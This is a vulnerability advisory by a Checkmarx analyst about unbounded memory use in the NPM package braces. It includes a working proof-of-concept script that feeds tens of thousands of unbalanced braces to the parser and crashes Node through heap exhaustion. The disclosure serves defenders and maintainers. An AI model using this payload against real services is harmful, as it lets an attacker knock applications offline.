Summary
The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends “imbalanced braces” as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
Product
This vulnerability affects all versions of the NPM package braces.
Impact
The JavaScript heap limit is reached, and the program will crash.
Steps to reproduce
- Install micromatch with “npm”:
npm install --save micromatch
- Create a
poc.jsfile with the following code:
const { braces } = require('micromatch');
const not_vulnerable = 'a'.repeat(65531) + 'n!/{}';
const payload = '{'.repeat(65531) + 'n!/{}';;
braces(not_vulnerable);
console.log("Non-vulnerable pattern ran as expected...n");
console.log("Executing payload...");
braces(payload);
console.log("Not vulnerable to memory exaustion.");- Execute the proof-of-concept file with
node poc.js.
Expected result:
The payload that calls braces with a repeated number of imbalaced braces { will crash the program and the message “Not vulnerable to memory exaustion” is never shown. Another character, such as a, allows the script to execute without exhausting the memory.
Remediation
No remediation was applied in the latest version 3.0.2.
Credit
This issue was discovered and reported by Checkmarx AppSec Analyst Mário Teixeira.
